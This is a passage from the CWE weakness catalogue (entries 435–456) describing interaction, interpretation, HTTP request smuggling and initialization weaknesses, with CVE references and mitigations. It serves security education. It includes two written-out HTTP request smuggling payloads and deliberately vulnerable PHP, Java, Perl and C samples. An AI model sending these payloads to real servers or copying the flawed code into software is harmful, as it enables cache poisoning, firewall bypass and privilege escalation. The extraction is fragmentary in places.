Observed Examples

Reference	Description

MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

Research Gap

PHP applications are most targeted, but this likely applies to other languages that support file upload, as well as non-web technologies. ASP applications have also demonstrated this problem.

CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities

Weakness ID : 435 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses.

Extended Description

When a system or process combines multiple independent components, this often produces new, emergent behaviors at the system level. However, if the interactions between these components are not fully accounted for, some of the emergent behaviors can be incorrect or even insecure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	1938

Notes

Relationship

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

[REF-568]Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995 August 1. < http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF >.

CWE-436: Interpretation Conflict

Weakness ID : 436 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

Extended Description

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	952

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

Demonstrative Examples

Example 1:

The paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" [REF-428] shows that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.

Example 2:

Null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [REF-429] and PHP.

Observed Examples

Reference	Description
CVE-2005-1215	Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1215*
CVE-2002-0485	Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0485*
CVE-2002-1978	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1978*
CVE-2002-1979	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1979*
CVE-2002-0637	Virus product bypass with spaces between MIME header fields and the ":" separator, a non-standard message that is accepted by some clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0637*
CVE-2002-1777	AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1777*
CVE-2005-3310	CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3310*

Reference	Description
CVE-2005-4260	Interpretation conflict allows XSS via invalid "<" when a ">" is expected, which is treated as ">" by many web browsers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4260*
CVE-2005-4080	Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4080*

CWE-437: Incomplete Model of Endpoint Features

Weakness ID : 437 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	944

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

Demonstrative Examples

Example 1:

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

Example 2:

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1208	Cross-Cutting Problems	1194	2012

Notes

Theoretical

The consistency dimension of validity is the most appropriate relevant property of an expected behavior violation. That is, the behavior of the application is not consistent with the expectations of the developer, leading to a violation of the validity property of the software.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Expected behavior violation

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Weakness ID : 441 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

Extended Description

If an attacker cannot directly contact a target, but the software has access to the target, then the attacker can send a request to the software and have it be forwarded from the target. The request would appear to be coming from the software's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.

Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:

- The software runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
- The attacker is prevented from making the request directly to the target; and
- The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Confused Deputy : This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation Access Control	Gain Privileges or Assume Identity Hide Activities	

Potential Mitigations

Phase: Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Observed Examples

Reference	Description
CVE-1999-0017	FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0017*
CVE-1999-0168	RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0168*
CVE-2005-0315	FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0315*
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1484*
CVE-2004-2061	CGI script accepts and retrieves incoming URLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2061*
CVE-2001-1484	Bounce attack allows access to TFTP from trusted side. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1484*
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1637*
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0037*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Notes

Relationship

This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

Maintenance

This could possibly be considered as an emergent resource.

Theoretical

It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

Weakness ID : 444 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to "smuggle" a request to one device without the other device being aware of it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf		436	Interpretation Conflict	944

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Non-Repudiation Access Control	Unexpected State Hide Activities Bypass Protection Mechanism *An attacker could create a request to exploit a number of weaknesses including 1) the request can trick the web server to associate a URL with another URLs webpage and caching the contents of the webpage (web cache poisoning attack), 2) the request can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the request can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).*	

Potential Mitigations

Phase: Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Phase: Implementation

Use only SSL communication.

Phase: Implementation

Terminate the client session after each request.

Phase: System Configuration

Turn all pages to non-cacheable.

Demonstrative Examples

Example 1:

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

Example Language: *(attack)*

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 44
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

When this request is sent to the proxy server, the proxy server parses the POST request in the first seven lines, and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in the next three lines that contain exactly 44 bytes as the first request's body. The proxy then parses the last three lines which it treats as the client's second request.

The request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body, and the second request is the line with the first GET (note that the second GET is parsed by the web server as the value of the "Bla" header).

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client "POST /foobar.html" and "GET /page_to_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server some protection against this type of attack can be achieved by installing a web application firewall, or use a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

Example Language: Java *(good)*

```
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
    // Set up response writer object
    ...
    try {
        // check for multiple content length headers
        Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
        int count = 0;
        while (contentLengthHeaders.hasMoreElements()) {
            count++;
        }
        if (count > 1) {
            // output error response
        }
        else {
            // process request
        }
```

```
    } catch (Exception ex) {...}
}
```

Example 2:

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system..

Example Language: *(attack)*

```
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Length: 49223
zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
Content-Length: 30
POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive
```

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

Observed Examples

Reference	Description
CVE-2005-2088	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2088*

CWE-446: UI Discrepancy for Security Feature

Weakness ID : 446 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

Extended Description

When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption.

Alternately, the user might provide a "restrict ALL'" access control rule, but the software only implements "restrict SOME".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

PLOVER			Multiple Interpretations of UI Input

CWE-451: User Interface (UI) Misrepresentation of Critical Information

Weakness ID : 451 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

- Incorrect indicator: incorrect information is displayed, which prevents the user from understanding the true state of the software or the environment the software is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.
- Overlay: an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.
- Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)
- Timing: the software is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.
- Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause

truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.
- Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.
- Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-453: Insecure Default Variable Initialization

Weakness ID : 453 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software, by default, initializes an internal variable with an insecure or less secure value than is possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1188	Insecure Default Initialization of Resource	1725

Applicable Platforms

Language : PHP *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could gain access to and modify sensitive data or system information.*	

Potential Mitigations

Phase: System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

Demonstrative Examples

Example 1:

This code attempts to login a user using credentials from a POST request:

Example Language: PHP *(bad)*

```
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
    $authorized = true;
}
...
if ($authorized) {
    generatePage();
}
```

Because the $authorized variable is never initialized, PHP will automatically set $authorized to any value included in the POST request if register_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

Example Language: PHP *(bad)*

```
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
    $authorized = true;
}
...
```

This code avoids the issue by initializing the $authorized variable to false and explicitly retrieving the login credentials from the $_POST variable. Regardless, register_globals should never be enabled and is disabled by default in current versions of PHP.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	1943

Notes

Maintenance

This overlaps other categories, probably should be split into separate items.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure default variable initialization

CWE-454: External Initialization of Trusted Variables or Data Stores

Weakness ID : 454 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

Extended Description

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. The variables may have been initialized incorrectly. If an attacker can initialize the variable, then they can influence what the vulnerable system will do.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	665	Improper Initialization	1293

Nature	Type	ID	Name	Page
CanAlsoBe	V	456	Missing Initialization of a Variable	971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Applicable Platforms

Language : PHP *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could gain access to and modify sensitive data or system information.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

Phase: Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using an allowlist, and use a different namespace or naming convention if possible.

Demonstrative Examples

Example 1:

In the Java example below, a system property controls the debug level of the application.

Example Language: Java *(bad)*

```
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

Example 2:

This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

Example Language: PHP *(bad)*

```
$debugEnabled = false;
if ($_POST["debug"] == "true"){
    $debugEnabled = true;
}
/.../
function login($username, $password){
    if($debugEnabled){
        echo 'Debug Activated';
        phpinfo();
        $isAdmin = True;
        return True;
```

```
    }
}
```

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .

This example also exhibits Information Exposure Through Debug Information (CWE-215)

Observed Examples

Reference	Description
CVE-2000-0959	Does not clear dangerous environment variables, enabling symlink attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0959*
CVE-2001-0033	Specify alternate configuration directory in environment variable, enabling untrusted path. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0033*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957

Notes

Relationship

Overlaps Missing variable initialization, especially in PHP.

Applicable Platform

This is often found in PHP due to register_globals and the common practice of storing library/include files under the web document root so that they are available using a direct request.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			External initialization of trusted variables or values
Software Fault Patterns	SFP25		Tainted input to variable

CWE-455: Non-exit on Failed Initialization

Weakness ID : 455 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error, which can cause the software to execute in a less secure fashion than intended by the administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	636	Not Failing Securely ('Failing Open')	1245
ChildOf	C	665	Improper Initialization	1293
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Modify Application Data Alter Execution Logic *The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.*	

Potential Mitigations

Phase: Implementation

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

Demonstrative Examples

Example 1:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Observed Examples

Reference	Description
CVE-2005-1345	Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1345*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939

Notes

Research Gap

Under-studied. These issues are not frequently reported, and it is difficult to find published examples.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Non-exit on Failed Initialization

CWE-456: Missing Initialization of a Variable

Weakness ID : 456 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not initialize critical variables, which causes the execution environment to use unexpected values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	909	Missing Initialization of Resource	1581
CanPrecede	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
CanPrecede	V	457	Use of Uninitialized Variable	975

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Quality Degradation Varies by Context *The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.*	

Potential Mitigations

Phase: Implementation

Check that critical variables are initialized.

Phase: Testing

Use a static analysis tool to spot non-initialized variables.

Demonstrative Examples

Example 1:

This function attempts to extract a pair of numbers from a user-supplied string.

Example Language: C *(bad)*

```
void parse_data(char *untrusted_input){
    int m, n, error;
    error = sscanf(untrusted_input, "%d:%d", &m, &n);
    if ( EOF == error ){
        die("Did not specify integer value. Die evil hacker!\n");
    }
    /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

Example Language: *(attack)*

```
123:
```

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

Example 2:

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

Example Language: Java *(bad)*

```
private User user;
public void someMethod() {
    // Do something interesting.
    ...
    // Throws NPE if user hasn't been properly initialized.
